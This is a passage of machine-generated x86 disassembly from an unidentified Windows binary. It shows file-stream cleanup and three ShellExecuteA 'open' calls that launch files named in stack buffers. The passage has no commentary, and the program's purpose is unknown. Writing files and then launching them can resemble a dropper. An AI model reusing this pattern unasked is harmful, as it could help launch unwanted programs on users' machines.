jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
lea ecx, [ebp - 0x724]
call fcn.0040e750
test eax, eax
jne 0x4178a9
mov eax, dword [ebp - 0x728]
lea ecx, [ebp - 0x728]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.00404970
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [ebp - 0x120]
push 5
push 0
push 0
push eax
push str.open
push 0
call esi
push 5
push 0
push 0
lea eax, [ebp - 0x228]
push eax
push str.open
push 0
call esi
push 5
push 0
push 0
lea eax, [ebp - 0x330]
push eax
push str.open
push 0
call esi
mov eax, dword [ebp - 0x728]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x728]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x72c], eax
lea ecx, [ebp - 0x724]
call fcn.0040d240
mov eax, dword [ebp - 0x728]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x728]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x72c], eax
lea eax, [ebp - 0x6c0]
mov byte [ebp - 4], 0x17
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0041a888
mov eax, dword [ebp - 0x888]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x888]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x88c], eax
lea ecx, [ebp - 0x884]
call fcn.0040d240
mov eax, dword [ebp - 0x888]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x888]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x88c], eax
lea eax, [ebp - 0x820]
mov byte [ebp - 4], 0x18
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0041a888
mov eax, dword [ebp - 0x7d8]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x7d8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x7dc], eax
lea ecx, [ebp - 0x7d4]
call fcn.0040d240
mov eax, dword [ebp - 0x7d8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x7d8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x7dc], eax
lea eax, [ebp - 0x770]
mov byte [ebp - 4], 0x19
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0041a888
mov eax, dword [ebp - 0x938]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x938]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x93c], eax
lea ecx, [ebp - 0x934]
call fcn.0040d240
mov eax, dword [ebp - 0x938]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x938]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x93c], eax
lea eax, [ebp - 0x8d0]
mov byte [ebp - 4], 0x1a
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0041a888
mov eax, dword [ebp - 0x9e8]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x9e8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x9ec], eax
lea ecx, [ebp - 0x9e4]
call fcn.0040d240
mov eax, dword [ebp - 0x9e8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x9e8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x9ec], eax
lea eax, [ebp - 0x980]
mov byte [ebp - 4], 0x1b
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0041a888
mov eax, dword [ebp - 0x64c]
add esp, 4
cmp eax, 0x10
jb 0x417b8b
mov ecx, dword [ebp - 0x660]
inc eax
cmp eax, 0x1000
jb 0x417b82
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0x650], 0
mov dword [ebp - 0x64c], 0xf
mov byte [ebp - 0x660], 0
cmp eax, 0x10
jb 0x417bf2
mov ecx, dword [ebp - 0x678]
inc eax
cmp eax, 0x1000
jb 0x417be9
test cl, 0x1f
jne 0x417116
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x417116
sub ecx, eax
cmp ecx, 4
jb 0x417116
cmp ecx, 0x23
ja 0x417116
mov ecx, eax
push ecx
call fcn.0041bf0d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041bb6a
mov esp, ebp
pop ebp
ret